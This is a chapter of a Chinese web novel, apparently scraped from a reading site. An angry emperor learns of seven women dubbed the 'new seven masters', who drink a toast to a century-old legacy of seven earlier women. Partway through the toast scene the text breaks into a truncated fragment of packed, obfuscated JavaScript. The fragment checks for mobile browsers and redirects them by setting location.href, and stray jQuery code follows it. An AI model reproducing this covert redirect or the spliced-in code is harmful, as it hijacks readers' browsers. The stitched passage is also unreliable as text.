默认冷灰
24号文字
方正启体

39. 新七绝—传承

作者:洛月不芷本书字数:K更新时间:
    承安十六年,腊月二十三。


    小年夜。


    京城,皇宫,乾元殿。


    皇帝坐在龙椅上,脸色阴沉得能滴出水来。


    他今年十七岁,登基已经五年了。五年来,他以为自己坐稳了这把椅子。


    可今天,他发现自己错了。


    案上摆着一份密报。


    皇城司送来的。


    他看完之后,手都在抖。


    “大燕新七绝……”他喃喃念着,“剑晚霜、医中鬼、商中刃、绣中刃、乐中杀、酒中劫、相中刃……”


    刘公公跪在下面,头都不敢抬。


    皇帝把密报摔在地上。


    “全是女子?!”他吼道,“又是女子!一百年前是女子,一百年后还是女子!这大燕的天下,什么时候轮到女子说话了!”


    刘公公磕头如捣蒜。


    “陛……陛下息怒……”


    皇帝喘着粗气,在殿里走来走去。


    走了几圈,他忽然停下来。


    “查!”他吼道,“给朕查清楚这七人是谁!她们想干什么!谁指使的!背后还有什么人!”


    刘公公应声而去。


    皇帝站在殿里,看着窗外的夜色。


    夜色很深。


    很黑。


    可他总觉得,那黑暗里,有七双眼睛正在看着他。


    一百年前的那七个女人,死了。


    可她们的眼睛,还在。


    现在,又有七个新的。


    “谢知微,”他咬着牙,“你死了还不肯放过朕!”


    没有人回答。


    只有奏折散落一地,白纸黑字,像无数只眼睛。


    ---


    腊月二十四。


    消息传遍了京城。


    “听说了吗?大燕新七绝!”


    “什么新七绝?”


    “剑晚霜、医中鬼、商中刃、绣中刃、乐中杀、酒中劫、相中刃——全是女子!”


    “又是女子?”


    “又是女子!”


    茶馆里,酒楼里,街头巷尾,到处都在议论。


    有人拍案叫绝。


    有人破口大骂。


    有人好奇,有人恐惧,有人等着看热闹。


    可那些女学子,没有人说话。


    她们只是互相看了一眼。


    眼里有光。


    ---


    青石镇,山脚下。


    林晚霜站在一块石碑前。


    碑上刻着两个字:“剑在。”


    她身后,站着六个人。


    白灵。苏红袖。云绣。花解忧。沈醉生。谢知秋。


    七个人,七个名字。


    七种不同的身世。


    七条不同的路。


    可她们站在一起。


    林晚霜转过身,看着她们。


    “都听见了?”她问。


    白灵笑了。


    “听见了。新七绝。这名字,比医中鬼好听。”


    苏红袖拨了拨手里的算盘。


    “商中刃?我喜欢。”


    云绣摸着怀里的绣针。


    “绣中刃……刃,比魂狠。”


    花解忧抱着琴,没有说话。


    只是轻轻拨了一下琴弦。


    “嗡——”


    一声低鸣。


    沈醉生从腰间摘下那只酒壶,喝了一口。


    “酒中劫,”她说,“好名字。”


    谢知秋握着那支朱砂笔,看着远处的京城。


    “相中刃,”她轻声说,“谢前辈,你听见了吗?”


    没有人回答。


    可风吹过来,卷起地上的雪。


    像是有人在说:


    “听见了。”


    林晚霜看着她们,忽然笑了。


    难得地笑了。


    “一百年前,”她说,“有七个女人,用命换了一条路。”


    她顿了顿。


    “现在,咱们走在那条路上。”


    白灵接过话。


    “那些想拦住咱们的人,还在。”


    苏红袖说:“那些欠下的债,还没算完。”


    云绣说:“那些还没绣完的路,还得绣。”


    花解忧说:“那些该杀的,还没杀。”


    沈醉生说:“那些该醒的,还没醒。”


    谢知秋说:“那些该写的,还没写完。”


    七个人,七句话。


    说完,她们看着彼此。


    笑了。


    林晚霜说:“那就走吧。”


    白灵问:“去哪儿?”


    林晚霜看着京城的方向。


    “去该去的地方。”


    她们走了。


    七个人,七条路。


    可她们走在一起。


    走进风雪里。


    走进那条路里。


    那条一百年前铺好的路。


    那条她们也要走下去的路。


    ---


    腊月二十五。


    江湖上开始疯传新七绝的事。


    有人说,剑晚霜是谢霜寒的传人,剑法比谢霜寒还狠。


    有人说,医中鬼用毒用蛊,比白芷还邪。


    有人说,商中刃的算盘能杀人,比苏锦还精。


    有人说,绣中刃用血绣图,比云娘还烈。


    有人说,乐中杀的琴弦能取命,比花解语还妖。


    有人说,酒中劫的拳头能打醒人,比沈醉还疯。


    有人说,相中刃用血写奏折,比谢知微还绝。


    传着传着,有人问:“这七个人,想干什么?”


    没有人知道。


    可那些女学子,开始偷偷地笑。


    她们知道。


    她们在等。


    等那七个人,走到京城来。


    ---


    腊月二十八。


    京城,风月楼废墟。


    那块刻着“女子不死,世道不灭”的石板前,站着七个人。


    林晚霜。白灵。苏红袖。云绣。花解忧。沈醉生。谢知秋。


    她们站在那里,看着那八个字。


    看了很久。


    林晚霜开口了。


    “一百年前的今天,”她说,“七个女人在这里聚首。七盏酒碰在一起,积雪震落。”


    白灵说:“她们用命,铺了一条路。”


    苏红袖说:“咱们走在路上。”


    云绣说:“路还没到头。”


    花解忧说:“还得继续走。”


    沈醉生说:“还得继续拼。”


    谢知秋说:“还得继续写。”


    林晚霜从怀里摸出一坛酒。


    是沈醉生带来的。


    沈醉的酒。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334444|199218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她打开酒坛,倒了七碗。


    一碗递给白灵。


    一碗递给苏红袖。


    一碗递给云绣。


    一碗递给花解忧。


    一碗递给沈醉生。


    一碗递给谢知秋。


    最后一碗,自己端着。


    七个人,七碗酒。


    林晚霜举起碗。


    “敬她们。”


    白灵举起碗。


    “敬那条路。”


    苏红袖举起碗。


    “敬那些还没走完的人。”


    云绣举起碗。


    “敬那些还没绣完的图。”


    花解忧举起碗。


    “敬那些还没杀的该杀之人。”


    沈醉生举起碗。


    “敬那些还没醒的该醒之人。”


    谢知秋举起碗。


    “敬那些还没写的该写之事。”


    七碗酒碰在一起。


    “砰——”


    清脆的一声。


    窗外,积雪震落。


    和一百年前一样。


    她们仰头,把酒喝了。


    酒很烈。


    从喉咙一直辣到心里。


    可她们心里是热的。


    因为她们知道,她们不是一个人。


    是七个人。


    是那条路上的七个人。


    是那些还没走完的人。


    林晚霜把酒碗往地上一摔。


    “走吧。”


    七个人,走进风雪里。


    走进夜色里。


    走进那条路里。


    身后,是那八个字。


    “女子不死,世道不灭。”


    ---


    腊月二十九。


    皇宫,乾元殿。


    皇帝看着案上的密报,脸色铁青。


    密报上写着那七个人的名字、来历、做过的事。


    每一个字,都像刀子一样扎在他心上。


    他把密报摔在地上。


    “查!”他吼道,“给朕查清楚这七人是谁!她们想干什么!谁指使的!背后还有什么人!”


    刘公公跪在地上,头都不敢抬。


    “臣……臣遵旨……”


    皇帝喘着粗气,在殿里走来走去。


    走了几圈,他忽然停下来。


    看着窗外。


    窗外,天灰蒙蒙的,像要下雪。


    可他知道,那些雪底下,埋着东西。


    埋着那条路。


    埋着那些梅花。


    埋着那一百年前的七个女人。


    埋着现在这七个新的。


    他忽然觉得冷。


    从骨头缝里往外冒的冷。


    “谢知微,”他喃喃说,“你死了,还不肯放过朕。”


    没有人回答。


    只有奏折散落一地。


    白纸黑字。


    像无数只眼睛。


    正在看着他。


    ………………


    总要有人走,才会有路。


    一百年前,七个女人走过。雪地里留下第一行脚印,被岁月掩埋,又被后人踏出。


    掩埋,踏出。掩埋,踏出。


    踏了一百年,踩成一条路。


    现在,又有七个女人走上去。


    她们身后,是无数女子正沿着这条路,走向天亮。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)